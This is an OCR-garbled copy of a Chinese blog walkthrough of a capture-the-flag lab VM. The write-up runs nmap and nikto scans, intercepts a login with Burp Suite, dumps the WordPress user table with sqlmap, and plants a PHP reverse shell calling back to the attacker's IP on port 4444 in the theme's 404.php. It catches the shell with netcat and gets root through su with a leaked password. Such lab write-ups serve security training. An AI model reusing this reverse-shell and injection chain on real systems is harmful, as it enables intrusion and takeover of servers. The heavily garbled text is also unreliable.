CTFZ:>]: SQLIFEANZpostSEhttpiR SCiEAN

CNwanku F 2019-11-25 23:12:39 K A 1571 W 7

AFER: CTEAIIAS] XHEHF%: CTF

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/qq_43233085/article/details/103245642

CTEA[I4 ] EREEFIZAR

15 R 3CE 10 1759

T &A=

CTF43: SQL¥EA Z postS Hhttpfi SCiEA

B2 i
=B
http#i SCEREX
sqlmapiE A\
EfEshellfgi A
BENEEHL

ALt
BEFE: hitps://pan.baidu.com/s/1zNyLgsxhYxAs|77tTIcagA
FRHUES: 56kj

IR HE &


https://blog.csdn.net/qq_43233085
https://blog.csdn.net/qq_43233085/category_9499551.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_43233085/article/details/103245642
https://blog.csdn.net/qq_43233085/category_9499551.html

FREHEEILE, —a8Il—&kalildiil, REFHFEMS, FEER—MERN.
BELHHkalIP, 5172.19.75.143

- ifconfig
ethe: T1: PR S SAPEAST , RUNNING, MULTIC - mtu 1500
ir 1l gr o netmask 255.255 - B
inettaile®mepitel} drf:fe27:bbs8 prefixlen 64 scopeid
B:27:27:0b:b8 txqueuelen 1000 fEChernel )
bytes 2783758 (2.6 MiB)
dropped overruns 0O frame ©
7098 bytes 606490 (592.2 KiB)
e © overruns © carrierag collisions ©

127.8.0.1 netma
g | prefixlen scopeid Oxl1l0<host>
txqueuelen 1000 (Local Loopback)
e 20 bytes 1116 (1.6 KiB)
dropped © overruns © frame ©
20 bytes 1116 (1.0 KiB)
TX errors © dropped ©® overruns © carrier © coll
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# ping
PING 172.19.75.41
from
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icmp seq tl=64 time=0.610 ms
icmp =2 t 64 time=0.409 ms
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nmap -sV 172.
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RUUTess: 08:00:27:6A:7E:66 (Oracle VirfgsalBegcadd héglad

Target IP:

Target Hostname:

Target Port: :10

Start Time: 2019 - 2 7:07:45 (GMT8)

Server: qurr . L
The anti-clic <ing Frame-Options header is not present.
The X-XS5-Pr otvcrlon header is not defined. This header can hint to
ct against some forms of XSS
X-Content-Type-0Options header is not set. This could allow the
er the content of the site in a different fashion to the MIME type
No CGI DirP(tDFlES found (use '-C all' to force all possible
Apache/2.4.7 appears to be outdated (current is nt L:dst Apache/2.4
is the EOL for the 2.x branch.
Retrieved x-powered-by header: PHP/5.5.9-1lubuntu4.5
Allowed HTTP Metl s: GET, HEAD, POST, OPTIONS
Uncommon header 'x-ob mode' found, with contents: ©
SEMOE . 2daawenlii cons /README: Apache default file found.
/login.php: Atmin login page/section found.
/phpmyadmin/:} phpMyAdmin directory found
7 requests: O error(s) and 10 item(s) reported on remote host
End Time: 2019-11-25 17:08:57 (GMTS8httpET/Rlog.esrinmetioq_
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Welcome to phpMyAdmin

Language

English j

Log in &

Username:

Password:

Go
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-host http://172.19.75.41:8080

2019-11-25 17:09:14 (GMTS8)

Apache
Protection header is not defined. This header can hint to

against some forms of
(-Content-Type-Options header is not set. This could allow the us
the content of the site in a different fashion to the MIME type
No CGI DireftorieSyfound (use '-C all' to force check all possible di
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Burp Suite Community Edition v1.7.36 e ® O

[1] Welcorne to Burp Suite Cornmunity Edition. Use the options below to create or cpen a l B U R PSUl I E
project.

COMMUNITY EDITION

MNoke sk-basaed projects sre o supported on Burp Sute Professio
lote: Disk-based projects are only supported on Burg te Prolessy

#*) Temporary project
P ¥ proj

New project on disk = Choose fils

Open existing project

Marne | File




File Choose file...

fl Pause Spider and Scanner

Burp Suite Community Edition v1.7.36 @ ® 0

@ Select the configuration that ywou would like to load for this project. B U R PSU' I E

COMMUNITY EDITION

(®) Use Burp defaults

Use options saved with project

() Load from configuration file File

File: | | Choosefie.. |

[ Default to the above in future
|| Disable extensions

| Cancel | | B

HATIERE, SRE—TRE,

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Comparer T Extender T Froject options T Us
Spider T Scanner

@ Proxy Listeners

@ Burp Proxy uses listeners to receive incorning HTTP requests from your browser. You will need to configure your browser o
server.



Add ‘ Running | Interface | Invisible | Redirect | Certificate
] 127.0.0.1:2020 Per-host
I Rernowe

Each installstion of Burp generates ts own CA certificate that Prosxy listeners can use when negotiating S5L connections. Yo
for use in other tools or ancther installation of Burp.

l Import § export CA certificate J l Regenerate CA certificate J

RiEditid, BEMAEKN127.0.0.1, £8081%mH.

Edit proxy listener

_[ Binding | Request handing | Certificate |

2| These settings control how Burp binds the proxy listener.

Bind to port: 8081

Bind to address: (&) Loopback only

O Allinterfaces
() Specific address J:]

AifiinterceptiZfll, FFaaE M.

Burp Suite Community Edition v1.7.36 - Ten

Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T_
Target Proxy Spider T

Forward Drop ' Intercept is on Action

TTP history T WebS ockets history I Options ]
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ZRIMRERAASQUEARER M, BMEMARS2MED, Flinadminfil123456.

) Edit Themes «Old Candy X | 172.19.75.41/

&)= C @ @ & 172.19.75.41/login.
O rRERN & BE—T , HEHE

User admin ‘
Password sccces ‘
Submit

SRl &aEsubmit, FAIEEhttpiiLburpsuite, 752 % 8% % B A Sburpsuite—

ve Security Project - Mozilla Firefox e ® O
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»me to Kali Linu i\ Library >
iced Penetratio 3 Add-ons Ctrl+Shift+A

»7 Customize...

OpenFile... Ctrl+0
Save Page As.. Ctrl+S
&= Print..

o Q_ FindinThis Page.. Ctrl+F
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More >
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Web Developer >
@ ® Help >
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Network Proxy

Configure how Firefox connects to the internet. Learn More Settings..

_ Use system proxy settings

L anual proxy configuration

HTTP Proxy 127.0.0.1 Port 8081
¥ Use this proxy server for all protocols

SSL Proxy 127.0.0.1

WEBIFE, FEIRRESS, burpsuite3R B8R KR L.

J Intercept T HTTP history T \WebSockets history I Options 1

Lij Request to http:f172.19.75.41:80
l Forward J | Drop ] l Intercept is on | Auction ]
_[ Rawy I Params T Headers I Hex ]

POST /login.php HTTP/1.1

Host: 172.19.75.41

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html, application/xhtml+xml application/=xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.19.75.41/1logan.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 35

Cookie: PHPSEESID=qCBhdgTDBpta]dgq?ﬂlSth?E-‘l,‘ CarteeDBSID=467309XHTYHHDI14IHV3F5S3HTNOSRTVTOOPYKHI1
Connection: close

Upgrade-Insecure-Requests: 1

user=admin&password=123456&s=Submit

BIICEH TR, RAFEIRIME .

reque

sqlmapiE A



fi F sqlmap X ATBER IR SCHATEEN ,  Sedk 3R EE 4

:~/MME# sglmap -r request.raw level 5 --risk 3 --dbs --dbms mysql
batch

available databases [7]:
information schema
Login
mysql
performance schema

]
2.19. 7541

ending @

Data

[ ] fetched data logged to
172.19.75.41"

[*] ending @ iﬁ:jbﬁ%

A users®, MIZEHE T, HU—TEKZI.

Database:
Table: us

[2 columns]

varchar(
varchar(?2




| 1 [
172.19. 75801 "

[*] ending @ 22:

e: wordpress!
Table: users
[1 entry]

] 1 ] table 'wordpres
output/172.19.75.41/dump/wordpress8f /users.c

[ 1 1 ] fetched data logged to tex
172.19.75.81"

[*] ending @ 22:40:26

EITEMAPZMENE, BRNKEEFENEE GE/ERERT)
172.19.75.41:8080/wordpress/wp-login.php
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Home ontact y« -arver administrator

Dashboard

All in One SEO

Welcome to WordPress!

Get Started

Comments

| Contact

Appearance

Plugins

BT R AL LB shell#fE .

i Fkali$R it i) ) sshellii 4, 1% E#1E, Hiilshelflid.

i~/MME# cd /usr/s
:/usr/share/webshells/php# 1s
C php-findsock-shell.php
bor.php php-reverse-shell.php
:/usr/share/webshells/php# cat ph
St
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Copyright (C)
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« C @ ® 172.19.75.41:8080/wordpress/wp-ac [
© LtRMBRT & EE—T , HHKM0E

@& Dashboard sne with )
to have problems, please try the support forums. (WordPress could not €
Home contact your server administrator.) in fopt/wordpress-4.1-0/apps/wordpr

Dashboard

All in One SEO

Welcome to WordPress!

We've assembled some links to get you started

Get Started

NextSteps

‘1 F;Iir:,-;.:1| fre r|r|::1
‘our Site

+ Add additional pa
& view your site

Plugins

Users

ools F 5 O_‘Uic
M A14404, FHAGRET, HBAREAEEE S, BripSport.
Twenty Thirteen: 404 Template (404.php) Select theme to editt  Twenty Thirteen L] Se
P e IR Raf f Pl hed LRSI IV o 1T bf WD) W™ Wil I~ J Pttt &0 JFWd b A

stuck.

mit (0);
VERSION = "1.87;

$ip = "172.19.75.143"; // CHANGE THIS
| Sport = 4444; // CHANGE THIS

$write a = null;
serror a

$shell = 'upame -a; w; id; /bin/sh -i°;
Sdaemon = 0;

Sdebug = 0;

i

/f Daemonise purself if possible to avoid zombies later
i

// pentl fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl fork®)) {
// Fork and have the parent process exit '

-

R T ERT M, ERishell b .

author-bio.php

Author Template

Category Template

Comments

content-aside.php
content-audio.php

content-chat.php

coitentgallen: php



Documentation: Function Name.. - Look

Edit Themes

File edited successfi

EBI4 s, WIT44445 0,

# nc -nlvp 4444

listening on [any] 4444

W T 5 17 172.19.75.41:8080/wordpress/wp-content/themes/twentythirteen/404.php

< X @ @ [172.19.75.41:8080/wordpress/wp-conter ~  80%
O LcABRA & 8E—T ., FeKziE

Notice: Undefined variable: daemon in fopt/wordpress-4.1-0/apps/wordpress/htdocs
{twentythirteen/404.php on line 184

WARNING: Failed to daemonise. This is quite common and not fatal.

Warning: fsockopen(): unable to connect to 172.19.75.143:4444 (Connection refused) in,
/wordpress/htdocs/wp-content/themes/twentythirteen/404.php on line 100

Notice: Undefined variable: daemon in /opt/wordpress-4.1-0/apps/wordpress/htdoc:
/twentythirteen/404.php on line 184
Connection refused (111)

£33 T R Bl Hshell.

# nc -nlvp 4444
ening on [any] 4444
nect to [172.19.75.143] from (UNKNOWN) [172.19.75.41] 36772
Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48
athlon 6 GNU/Linux

10:00:39 up 6:15, B© users load average: 0.00, 0.01, 0.65
USER TTY FROM LOGINCG IDLE JCPU PCPU WHAT
' Mo gid=1(daemon) 0 L
can't ac

log.csdn.net/qq_
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daemon@Freshly:/$ su -
su

Password: SuperSecretPassword

root@Freshly:~#

I ERrooth fR, AIKEEHLHE B flaglE, ZgkIsqiEN.
2, KEH! ! !
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